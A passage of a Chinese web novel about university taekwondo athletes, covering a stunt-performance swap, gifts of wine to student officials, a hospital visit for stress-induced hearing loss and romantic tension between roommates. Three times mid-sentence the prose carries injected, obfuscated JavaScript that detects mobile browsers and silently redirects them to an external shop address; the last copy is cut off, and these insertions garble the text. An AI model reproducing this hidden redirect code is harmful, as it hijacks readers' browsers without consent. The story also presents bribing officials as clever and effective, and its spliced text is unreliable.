“正山……巧了,我认识几个学传统武术的小兄弟,也在正山。”陶文昌看他就知道金丞是个淘气孩子,还是那种小聪明贼多的类型,这样的小朋友哪怕他不好好上课都不会差到哪里去,考试主打的都是临时抱佛脚。 但气人就气人在这里,金丞这样的,只要他肯抱,成绩永远不会垫底。 “传统武术啊,我和那边不熟。”金丞不愿意继续这个话题,其实是想起了自己在正山的一笔冤债,“那我要是想给跆拳道馆换个好一些的冰柜,是不是也要去财务部申请?” 陶文昌指点他:“现在财务部大换血,跆拳道不是咱们学校的大爆门,所以更要学会自己争。你看三级跳、跳高和游泳这些,都是爆门,什么都是最好的。” 金丞全部听进去:“谢谢昌哥,咱俩加个联系方式吧。” 又认识一个大四学长,金丞不放过好机会,两个人就这样加上了。不一会儿,周高寒回来,会议正式开始,主要围绕后天的体育节。 体育节是首体大今年新搞的活动,应该算得上是周高寒新官上任三把火的第一把。体院作为节日支持,大部分项目都要进行训演,同时给学校其他的院系普及运动文化。而跆拳道,作为那个本身就带有“表演属性”的运动,自然是重中之重。 等到会议结束,金丞第一个跑到周高寒身边,还没说话,周高寒就仿佛猜到了他的意图:“你放心,队服马上就换纯棉,厂家做一批也要时间,下下周肯定的。” “哦,这个不急。”时间紧迫,金丞不绕弯子,“周哥,跆拳道特技能不能换个人?我想上。” “你行吗?”周高寒反问,“体育节是我的大手笔,你可别掉链子。” 然而金丞不怯场:“行,我已经练了14年的跆拳道。特技,品势,这些表演性质的内容我都会。把江言撤了,换我吧。” “哈哈,你想代替他?”这倒是让周高寒很意外,还以为他俩关系多好。 金丞笑了笑:“对,我想代替他,后天我代替他去踢板子。” 周高寒很爽快地同意了,一方面他不喜欢江言,另一方面,金丞给他送了酒,两个人的远近自然不言而喻。确定名单更改之后,金丞加了周高寒的联系方式,并且进入了新一级干事群聊。等离开了办公楼,他又马不停蹄地黏上陶文昌,非要让人家带他去一趟财务部。 “你……”陶文昌没辙,自己这是招惹了什么啊,“那走吧。” “谢谢昌哥。”金丞和他并肩,“昌哥,你觉得我当部长有戏吗?” “不确定,但有优势,你没和白洋干过,周高寒肯定更喜欢你。”陶文昌说。 白洋?怎么又是白洋?白洋他到底是谁啊?金丞来不及问,只听陶文昌又问:“等等,我问你一个问题,纯粹是学术性的。” 金丞站住脚步,等着他发问。 陶文昌清清嗓子:“你是直男吗?” 重磅问题,金丞没说话。 陶文昌绝望地揉了揉脸,行,这又是一个弯崽。 “昌哥你干嘛这么问?”一秒之后轮到金丞发问。 “因为我从大一到大四,总是能无意间吸引弯崽,人称‘弯崽码头’。我还以为大四这年终于遇不上了呢……”陶文昌一个劲儿地叹气,“走吧走吧,躲不过啊躲不过。” 这是一个有故事的人呐!金丞感叹。 等到一进财务部,金丞首先看到这里的人在搬家。不管是办公桌、办公椅还是绿植,通通往外撤。窗口那边本来养着一盆巨大的滴水观音,现在也要扔出去。金丞有些不忍心,拦住那个不认识的人问:“这不要了?” “是啊,周哥说不喜欢滴水观音。”那男生回答,“你要?你要你拿走,不然我们也得扔路边。前几天扔了一大棵,现在还在路边晒着呢。” “长得这么好,怪可惜的……”金丞眼珠子一转,“这样吧,我给你一个新地址,两棵都帮我寄过去,运费到付成吗?” “成吧,帮你一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150085|136873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”男生也没拖延,认出这是送过龙眼的小学弟。有的时候,拎着水果真管用,让人印象深刻。 金丞留下一个合正道馆的地址,滴水观音长这么大不容易,摆在道馆里很好看。随后他在陶文昌的引荐下认识了现在主要负责管钱的人,那人一听是跆拳道馆要换,立马瘪了瘪嘴巴。 “昌子,你们这是为难我,现在各个场馆都有损耗,换这个换那个的,咱们学生会这点钱根本用不过来。学校倒是每年都发一些,可是根本不够用。等等吧,再等等最热的时候就过去了,冬天没人喝凉的。” 这一听就是借口,看来昌哥说得没错,爆门什么都给换,热门斟酌着换,到了冷门,什么都没有了。金丞想给队里谋福利,他都看到江言好几次敲冰柜了,再说师姐们要是哪天想喝个冷饮,一点都不方便。 “一个冰柜也没多少钱,就给我们换了吧。大家都是国家健将级运动员,谁也不能热着嘛。”于是,金丞笑眯眯地拉开运动包,将最后一瓶红酒拿了出来。 陶文昌低头一瞧,靠,出手真大方,跆拳道怎么来了这么一个会办事的小孩儿?怪不得周高寒看上他。 财务部的暂时负责人推推让让,但是在金丞的不懈努力之下,这瓶几万块的红酒还是半推半就地收了。虽然更换两个大冰柜的具体日期没定下来,可这事已经成为板上钉钉。 从财务部出来,陶文昌已经对金丞另眼相看:“小伙子真不错啊,以后挺有发展。明年不竞争一个副主席做做?” “为什么不能是主席?”金丞整理着运动包问。 陶文昌拍了下他的脑袋,耐心地给小学弟讲人情世故:“你傻吧?正主席哪个不是内定的?最起码也要有人推荐。就好比周高寒是白洋推荐上来的。” “啊,居然这样。”金丞终于搞明白这大名鼎鼎的白洋是谁,原来是上一任主席。怪不得周高寒这么反感,是提携之恩当挤尿相报了。 “我看周高寒对你这热乎劲儿,没准明年真让你试试副主席呢。”陶文昌只是把事实告诉他,并没有阻拦他,有上进的心是好事。没想到金丞却摇摇头:“明年……可能我就不忙学生会了。” “干嘛?明年你怎么了?”陶文昌敏锐起来。 “明年的比赛就更多了,我得好好准备哈哈哈。”金丞说。 陶文昌并未多说什么,只是拍拍他的肩膀,当作给他加油。两人告别,金丞该回道馆了,顺便也想把换冰柜这个好消息告诉江言,可是忽然间左耳朵有些潮湿。 不是外面的伤口潮湿,而是里面。金丞摸了下左耳垂,指尖上有血。 这时候,他收到了江言的信息。 姓江很了不起啊:[你人呢?在哪儿?回来。] 金丞刚想回“我马上回去”,可是左耳朵又来了一股热流,他只好用掌心捂住,发语音过去:“我在学生会忙呢,晚一点儿回去训练。” 发完之后,金丞抽了一张纸巾擦耳朵,果然又流血了。 伤口没有愈合。 没想到江言也发了语音过来:“你和周高寒在一起?他把特技表演的名额给你了?” 真是添乱,我干嘛老和他在一起?金丞敷衍地回复:“嗯嗯嗯,是。我现在忙,一会儿和你聊哈宝贝。”然后用手机打车,目的地就是他最熟悉的医院。 还是去看看吧,金丞怕永久失聪,耳朵如果失聪会影响平衡,打跆拳道最不能失去平衡感。 来不及多想,金丞捂着耳朵坐上了网约车,直达医院。不知道是不是平衡被破坏掉了,刚一下车他就有点晕。脚下没站稳,他一不小心撞上了一个人,结果那个人也没站稳,两个人一起靠在了车上。 “诶呦。”那人先哀嚎。 “对不起对不起。”金丞仍旧捂着耳朵,“您没事吧?” 他撞上的人还穿着医院的病号服,脸上戴着大口罩,和自己差不多高,很瘦,手腕却很有力,一把将金丞扶稳。隔着口罩,金丞觉得他有点眼熟,却怎么都想不起来在哪里见过。 “我没事。”花咏夏担心他晕倒了,“你没事吧?” 17.宿敌的徒弟 “没事没事。”金丞摇摇头,可无论他怎么装都没法子,差点一头扎到人家怀中。还好在车上换了自己的T恤,这要是穿着首体大的队服来,岂不是丢死人了? 花咏夏也没料到这小伙子晕头转向:“呦,你这样不行啊,急诊!快去急诊!来人啊!他快不行了!” “打住打住打住……”金丞内心五味杂陈,“我没不行,就是有点晕。您把我扶到椅子上就行。” 医院门口有专门休息的椅子,提供给来看病的病患或者家属休息。金丞被陌生人搀扶着,走到椅子边,一个空位置都没有了。 “你还好吧?”花咏夏有点被他吓到了,“你的耳朵……” “没事,就是打得听不见了。”金丞对陌生人倒是意外坦诚,毕竟只有一面之缘。 花咏夏倒抽一口凉气:“谁干的?怎么打成这样?报警没有?” “报警有个屁用,哈哈。”金丞揉揉耳垂,“谢谢您,我去挂个急诊就好。” “我还是陪着你吧。”花咏夏并没有照顾人的经验和精力,只是这孩子和他徒弟差不多大,难免生出不忍之心。金丞也没有拒绝,任由一个住院的病人牵着他,将他拉到了急诊。 急诊里忙得要命,金丞混在急诊病患的堆里,是最不需要紧急救助的那个,所以就等了挺久。 终于到他了,医生先给他清理耳道:“怎么弄的?” “外力……撞击。”金丞说。 “被人打的。”站在一旁的花咏夏插嘴。 医生看了看他:“您这……还是我们医院的病号呢,怎么送病人看病?” 花咏夏没好意思说自己出来吃麻辣烫,江言给他订的病号饭实在太清淡。“路上碰上了,他这样流血我也不放心。” “您心肠还挺好。”医生赞许地点了点头,拿起检查耳道的专业工具开始往金丞的耳朵里探,“外伤也没愈合呢,哪天出血的?” “哦……今天。”金丞犹犹豫豫。 “和我们医生得说实话啊,不然影响病情。”医生继续往里检查。 “就是实话。”金丞龇牙咧嘴,耳朵里阵阵发热,是医生的探照灯,“大夫,我左耳朵听不见了,是不是给打坏了?” “等我先检查完,你先别说话。”医生怕他乱动。 金丞便不再动弹,等待医生用耳内镜进行详细的耳道检查。不一会儿,医生放下了耳内镜,先松一口气:“伤口是耳道内壁在巨大气压下出现的撕裂,伤口并不深入。鼓膜完整,我一开始最先怀疑是鼓膜挫伤或者更严重的穿孔,还好这两种情况都没有发生。” “真的?”金丞也松一口气。 花咏夏也放松下来:“那就太好了。不过他怎么听不见了?” “你别急,听我解释。”急诊医生累得不行,“我怀疑是另外一种情况,叫作‘应激性耳聋’。” 管它怎么聋的呢,金丞只关心一件事:“医生,这个能好吗?我怎么还应激了?” “情绪因素导致的,并不罕见。”医生用专业知识给他解答,“被打之后,人的心情会发生剧烈的波动,而情绪波动会导致肾上腺素大量分泌。造成的后果就是身体里的末梢血管出现痉挛,耳部内的血液供应不上,直接影响了耳朵结构的生理功能。” “乖乖,这么复杂。”花咏夏擦了一把汗。 “不复杂,而且也不是绝症,你们放心。”医生说,“这种状况可以用一些扩张血管的药物,比如说硝酸甘油……” “可是我不能用啊。”金丞摇摇头,运动员不能偷偷服用扩张血管的药物。 “那……可以采用物理治疗,比方说高压氧舱,直接提升全身的氧含量。另外就是积极调节心情。”医生点点头。 金丞也点点头:“什么时候能好?” “我不能给你一个明确的时间,说不定明天就好了,说不定几个月之后。这段时间你一定要积极调整个人心情,不要激动愤怒。”医生说话很慢,生怕病人听不到。 金丞也确实用力听了,可是听力范围直接被关掉了二分之一。“那会影响右耳吗?” 医生还是那句话:“应激性的不好评估,你一定要注意调整心情。” 随后,医生开了一些外伤用药,金丞看着小本上的字迹,将小本收入背包。 “你怎么不去开药?”花咏夏慢悠悠开口,走在他的身后。 “诶呦!”金丞吓了一跳,“您怎么还跟着我?” “你不去拿药啊。”花咏夏看着他的耳朵,“还流血呢。” “哦,这个不碍事,它慢慢就愈合了。”金丞看了一眼时间,“外伤的药我可以从学校校医室拿,不用花钱。” “可是……”花咏夏走到他左侧,像医生一样往耳朵眼里张望,“要不你跟我回一趟病房吧,我有碘酒什么的,先给你止止血。” “要钱吗?”金丞问。 花咏夏一愣:“这倒不必……” 不必的话,那金丞就要占便宜了。他也不知道人家叫什么,在医院里总不会进行人口买卖,更何况自己都这么大了……等到了病房一瞧,还是一个套间呢,环境优良,设施齐全。 “你坐一下。”花咏夏挽起袖口,“我先去洗洗手。” “谢谢您。”金丞打量着病房,率先看到了一个巨大的豪华果篮。他笑了笑,现在谁拎这样的果篮啊,中看不中吃,也就是骗一骗冤大头。床边有一张椅子,他坐上去试试,有点硌屁股。 不舒服。金丞站起来,看向了舒服的地方。 花咏夏还在洗手。他和江言一样都有洁癖,或许江言的洁癖就是自己带出来的习惯。洗完手,他又认认真真地涂上了护手霜,刚准备出去,兜里的手机响了。 我那品德兼优的大徒弟:[记得吃病号饭。] 花咏夏一阵心虚,江言这是算出自己抛弃病号饭要去吃麻辣烫了? 我那品德兼优的大徒弟:[不许吃麻辣烫。] 花咏夏马上回复:[没有吃麻辣烫,今天病号饭挺好吃,有冬瓜汤、蒸茄子泥、西芹百合炒虾球,还有一份红烧牛肉。主食吃了一个馒头,海带汤喝了半碗。现在我和病友聊天呢。] 我那品德兼优的大徒弟:[别什么人都往屋里带,有细菌。] 花咏夏回复:[没带,没带。] 发完之后,花咏夏擦了擦汗。等等,自己是师父,自己心虚什么啊!他江言小时候打不过别人还哭呢,凭什么现在起范儿了? 紧接着,工作群里的人找他,济南那边的道馆出现了一些纠纷。花咏夏在群里潜水,看着江言线上指导那边的业务经理如何操作,成就感满满。 等到整件事情解决,他已经把外头那个小兄弟给忘了!花咏夏急急忙忙冲出来:“等久了吧,不好意思刚刚我的道馆……” 声音止住,脚步止住,花咏夏停在洗手间门口,内心猛地柔软了一下。那个陌生的少年正在他床上呼呼大睡,两只手交叠压在右耳下面,两条腿垂在床边,呼吸均匀,胸口一起一伏。 睡着了?花咏夏没有吵他,静悄悄地打开柜子,拿出江言买的碘酒棉签。江言心细,连医院的东西都不能放心,只不过自己一直用不上。 这不就用上了。花咏夏掰断一根,等着碘酒将棉签的一端浸湿,再打开手机灯,学着医生的手法,慢慢擦拭着陌生少年的耳道。奇怪的是,伤口并不算深,可是从看病到现在,它的表面居然还有些潮湿,没有结痂。 花咏夏捏着棉签看了看,这孩子……不会有什么凝血障碍吧? 可现在也不能将人晃醒问问,他能做的就是清理伤口和陪伴。几个棉签用完,花咏夏换了干净棉签,再清理他的耳廓,少年还没有睡醒的意思,他坐着也是坐着,干脆拿出手机,大着胆子点了一份麻辣烫。 等待期间,花咏夏坐在床边,摸了摸可怜少年的脑袋。 等到金丞睡醒,就看到一个人低着头,坐在床头柜旁边吃麻辣烫。 “啊?我睡着了?”金丞揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13161303|136873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着头发坐了起来,“不好意思,我最近有点累。” “没事……嘶嘶嘶……你睡,你睡。”花咏夏被辣得嘴唇发热,不停倒抽凉气,“你饿不饿?嘶嘶嘶……吃不吃饭?咱俩一起吃?” “不饿不饿,我还得赶紧回学校呢。”金丞下意识地摸摸耳朵,时间紧迫,回去晚了教练指不定怎么吼人呢,还有那个成天摆脸色的江言。站起来之后,金丞再三谢了谢这位好心人,深深鞠了一躬:“谢谢您,祝您早日康复,以后有机会我请您吃沙县小吃!两周后我复查还找您!” 说完,金丞一溜烟跑了。 还没缓过来的花咏夏正要问他叫什么,结果只看到他一个背影。这个身条太适合打跆拳道了。 花咏夏惜才,后悔刚才没有留下联系方式。忽然又想起什么来,拿出手机,点开了[四个大宝贝]群聊。 花咏夏:[你们最近训练都小心些,千万别磕磕碰碰。我在医院里总能碰到大学生受外伤,胆战心惊。] 陶含黛:[知道,谢谢师父,您好好养病,我正准备和顾梦瑶干仗。] 陶晴绿:[姐666,我永远是姐最忠实的仆人。] 祝白白:[你们谁看到师兄了?师兄他又不见了!] 躲到男厕抽烟的江言这才回复:[我在学生会忙。] 等金丞再回学校,跆拳道总教练正在训话。教练是周英华,大名鼎鼎,专攻体育教育训练学,跆拳道国际级裁判,中国跆拳道协会特聘讲师,以及跆拳道协会晋段考试官。中国最初那几部跆拳道教育片当中就有周英华的身影。 助教王逸站在周英华的旁边。这两位都是技术教练,再旁边,是他们的体能教练董勇,和营养师周木兰。 金丞默默地躲在队尾,让朱飙挡着自己。 “刚刚开学,为了让大家适应小周期所有没给你们上难度,但也希望个人重视起来。”周英华显然已经打算结束训话,“还有,如果想要进行量级变动,必须经过我和王教练的同意,经过董教练的评估,再去周老师那里报备。” 金丞悄悄地踮起脚尖,看了一眼周木兰,刚准备心虚地收回目光,余光里好像有人在瞪自己。 他也瞪回去,和江言来了个四目相对。 你瞅啥?金丞对了个眼。 江言翻了个白眼,转了过去。 等到训话完毕,训练继续。金丞去换道服,先热身,随后加入了敏捷绳的队伍当中,像跳格子一样锻炼脚腕力量和快速移动。到了下午,体育节跆拳道特技表演的名单发下来,江言的位置被金丞代替。 金丞拿着热乎乎的A4纸,原本想去找江言聊聊,这次我先来,明年你再来嘛,结果那孙子看见自己就闪避! 一直到晚训结束,金丞都没逮住他,从道馆找到田径场,再到健身楼,都没有。 终于回宿舍了,金丞一进401就看到刚从浴室出来的江言。浴巾裹着下半身,上半身挂着透明水珠,全身都洗粉了。头发吹得半干,慵懒地散开,脸上的潮红更明显,像刚刚一个人偷偷在浴室里嗨完。 结果他看了一眼金丞,扭头上床了。 一个字都没说。 不是,你给我装什么深沉呢?我哪儿惹着你了?金丞的气不打一处来,连鞋都没脱,跟着他一起爬上铺。江言刚上去,还没跪稳,腿下的床剧烈摇晃。他回过身,被飞扑而来的人压在床上,只能顺势往枕头上倒。 你再装?金丞双腿分开,跨坐在他的胯骨上。 “你有完没完?闹情绪也闹够了吧!”他用两只手压着江言的肩膀,“别人在网上把我拉黑拉白的,你现实里也玩儿这套?怎么,我金丞是什么很贱的黑白无常吗!” 江言半分钟都没说话,就这么看着。 “张嘴!”金丞逼他开口。 江言只好无奈地张嘴:“你把我浴巾坐掉了。” 什么?金丞低头一瞧,自己就坐在他什么都没盖的胯骨上。 好家伙!这什么b动静? 18.酒池肉林 他觉得江言顶了他一下。 但是也不确定是不是。 于是金丞连忙抬起屁股。 不得了了,这下动静更明显。金丞一下子联想到了墨西哥烤肉,那么多肉被铁签子顶着,想吃的时候往下片一片。 “你怎么……”金丞顿了顿,悬在上头,“你怎么这么干净?” “不行么?”江言反问。 “没有不行,就是……比他们都干净。”金丞认真评价,“你这是……白……虎?” “和谁们比?你说清楚。”江言按了下蓝痣,就好像这里是他的开关,开始唤醒理智。 金丞不说了,而是胡乱地揪住浴巾一角,拽过来,小心翼翼给江言盖好:“别说话……” 江言将手放下了:“和谁们比?周高寒?刚才让我张嘴说话的人是你,现在让我别说话的人也是你,金丞,你做人的底线呢?” “嘘,我没底线。”金丞将食指竖直,压在嘴唇上,怎么又是周高寒,周高寒是把江言的快乐老家给捅了吗?随即又开始兴师问罪,“你今天干嘛不理我?” “我想理谁就理谁。”江言将浴巾往上拽了拽。 “行了别藏了,就那么几块腹肌有什么好藏?我是馋你身子还是馋你脸了?”金丞说。 江言仍旧把浴巾往上拽:“你今天缺练3小时,明天记得加上。” “我怎么就缺练了?”金丞不服。 “你在学生会坐了那么久,我还以为你拿着户口本和你周哥领证了呢。”江言还哼了一声。 金丞直接用胳膊肘给他一拐:“我干嘛和他领证啊,你思想龌龊。我跟你说,我今天给他送酒了。” “呵。”江言转了过去。 “你给我回来。”金丞给他扳回来,“所以特技表演的名单换成了我,你别生气。另外一瓶酒我送给财务部了……” “财务部不是陶文昌管么?”江言漫不经心地回答。 “昌哥他现在不怎么管,估计等学生会都定下来才正式接管吧。我给咱们道馆换了一个冰柜,以后就有冷饮喝了。怎么样,我厉害吧?我告诉你,有钱能使鬼推磨,给人家送礼准没错。”金丞说着说着躺下来,“诶呦,我怎么这么累啊,歇歇。” “滚。”江言推他,“臭死了。” “也对,我没洗澡。”金丞闻了闻胳膊,“宝贝等我,我洗完澡就回来。” 不等江言答复,金丞撑着床栏一翻,灵巧程度堪比峨眉山的灵长类。江言却没有他那么雀跃,因为体育节注定是一场硬仗。但他现在真是一点都不想提醒金丞,该是他碰的钉子就让他碰一碰。 不一会儿,祝白白回来了,他对体育节没什么概念,作为大一新生,他只有一段品势表演。今天他和学长学姐一起练,练的过程里金丞一直在特技组那一边。 奇怪,特技表演应该是大师兄,怎么就变成他了? “师兄。”于是祝白白到江言身边告状,“金丞怎么把你给顶替了?” 江言还在闭目静心:“无所谓。” “怎么没所谓啊,后天可是第一届体育节,我还想着好好宣传一下咱们的项目呢。”祝白白这几天也很憋气,原本说好了的项目采访都没有了,体育节前夕,其他的项目都在紧锣密鼓做专题,像什么三级跳、跳高、跑步,还有游泳排球,一个一个排队上公众号。 可唯独把他们跆拳道给略过去了。 多多少少太欺负人!祝白白怒火上升:“我知道,他们就是看不起咱们,说咱们是花拳绣腿……” “他们看不起那是他们的度量,咱们自己看得起不就行了。”江言伸手拍了拍他的小脑袋,可惜了,没有金丞的脑袋圆。 “那我也生气啊。”祝白白越说越委屈,“你不生气?你怎么不去找他们理论?” 江言静得差不多了,将镯子摘下来,塞到了枕头底下:“我不是不生气,我是早没脾气了。以前我比你还气。” 他已经过了师弟这个不忿的阶段,仿佛这是练习跆拳道的必经之路,是通往山顶的那条崎岖小道。谁都嫌弃跆拳道学了没用,远远不如散打、拳击,谁都能踩一脚他们。起初,江言也急赤白脸争论,甚至现身说法,愿意对打,最后道心慢慢沉淀,练功就是自己的事。 不一会儿,金丞从浴室出来,换祝白白去洗。距离熄灯还有一段时间,他刚要爬上江言的床,手机震了几下,于是穿上睡裤就要出门。 “你干什么去?”江言靠墙而坐着问他。 “啊?”金丞没听清。 “出去找谁?”江言又问。 “找大四的游俊宇。”金丞回答。 “你知不知道学校规定了不让串宿舍?”江言看着他半干的头发。 生脆的毛桃子刚刚长好,表面只有一点浅粉,将熟未熟。 “亲爱的,咱们是大学,不是幼儿园吧?”金丞笑着将两只手搭在他的床栏上,“等我,一会儿回来陪你啊。” “你……”江言还没说完,这人扭着屁股就跑了,一溜烟儿无影无踪。 等等,他跑不跑的,关自己什么事?江言干脆盘起腿,继续闭目静心,无论发生什么都不能乱了道心。 洗浴间里还有冲水的声音,每一滴水都仿佛经过了扩音器,在江言耳朵里震了个来来回回。他索性睁开眼,怀疑自己总是无法静心是因为师弟还在洗澡,屋子里太乱,于是拿出耳塞,将噪音隔绝。 再次闭眼,江言开始冥想。 跆拳道,跆是腿上的功夫,拳是手上的功夫,道则是…… 哗啦,水声又一次冲进他的耳朵,江言不得不再次睁开眼睛,将海绵耳塞换成了降噪耳机。戴上后略有区别,周遭被剔除了一层音量,心也静下来了。 只要自己想,在什么地方都可以静心。 江言再次闭上了眼睛,床帘之外的世界消失殆尽,只剩下他和他的跆拳道。 宿舍楼一直都没有安静的时候,3层的跳高队刚刚下练,大家累得一时无话。陶文昌走在队尾,刷着手机,刚刚把录音小熊之“提前给你的惊喜么么哒”下单,一口气买了两个,刚好自己和金丞一人一个。就在他收手机的时候,江言的名字出现在手机屏幕上。 “喂。”他接起来,“怎么了小西施?” “昌哥你别开我玩笑。”江言听上去有些着急,“哦,其实我也没什么事……” “没什么事你直接打电话?”今年大四的陶文昌混在体院里就像一条边牧误入狗舍,什么品种的狗都能认出来,“你不老实啊,现在大家有事都发微信,大事打语音视频,能直接打电话了,你到底急什么呢?” 电话里头沉默了。 十几秒之后,江言问:“游俊宇他们宿舍里有男同么?” “啊?”陶文昌一怔。 “你不是说,你是体院弯崽检测仪么?一有弯崽靠近,你的gay达就响。”江言继续问。 “那我也不能瞎说啊,我哪儿知道他们宿舍有没有男同。”其实他们宿舍真的有,陶文昌脑瓜一转,福至心临了一般,“金丞找他们玩儿去了吧?” “关金丞什么事?”江言这次回答倒是很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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后天的特技表演,大一和大二主要负责品势,大三和大四主攻特技。原本特技这边加的人是江言,已经是特例,忽然间换了人。游俊宇一开始有些不高兴,毕竟江言就不太合群了,谁知道换一个什么来。特技最讲究配合,必须好沟通。 没想到,换来了一个活泼的金丞。 “你先尝尝这个山竹,特别新鲜。”游俊宇将亲手剥好的山竹递给金丞,“流程不用对了,你很不错,我们有把握。” “是啊,我们都有把握。”游俊宇的同学也这样说。 因为天气热,他们都光着膀子,只穿三角短裤。金丞比他们瘦,坐在当中啃山竹,怎么看都很有意思。游俊宇觉得金丞合眼缘,人长得好又嘴甜,特技功夫又强,所以今天家里刚送来几箱好水果他就赶紧把金丞叫过来了。 金丞也不别扭,在他们的注视下吃了好几个。乖乖吃东西的时候他不出声,4个学长也不出声。 “学长,你们有水吗?我噎着了。”等到吃完,金丞揉着心口问。 “瓶装水好像没了,你先喝我的吧,可能有点热。”游俊宇又是好心,将自己的保温杯给了金丞。金丞噎得够呛,也没多想,打开就喝,结果热水一下涌出来,顺着他的喉结流到了胸口。 这一下烫着了,金丞连忙擦水。4个学长也吓着了,一起围过来,手忙脚乱地帮他脱背心。 “快点儿!快点儿!”游俊宇还催,他担心布料粘连,将金丞烫出水泡。 408的门就在这时被江言一边敲着一边推开了。 金丞被4个学长围在中间,4个人正8手齐下脱他衣服。背心已经脱下来了,一个人的手在金丞胸口上,游俊宇的手在金丞的锁骨上,刚好摸到了那颗红色的小痣。 藏在桃叶下面的毛桃子被人发现了,一大堆人七手八脚地抢着摘它。江言的手搭在门把手上,看着这一片酒池肉林。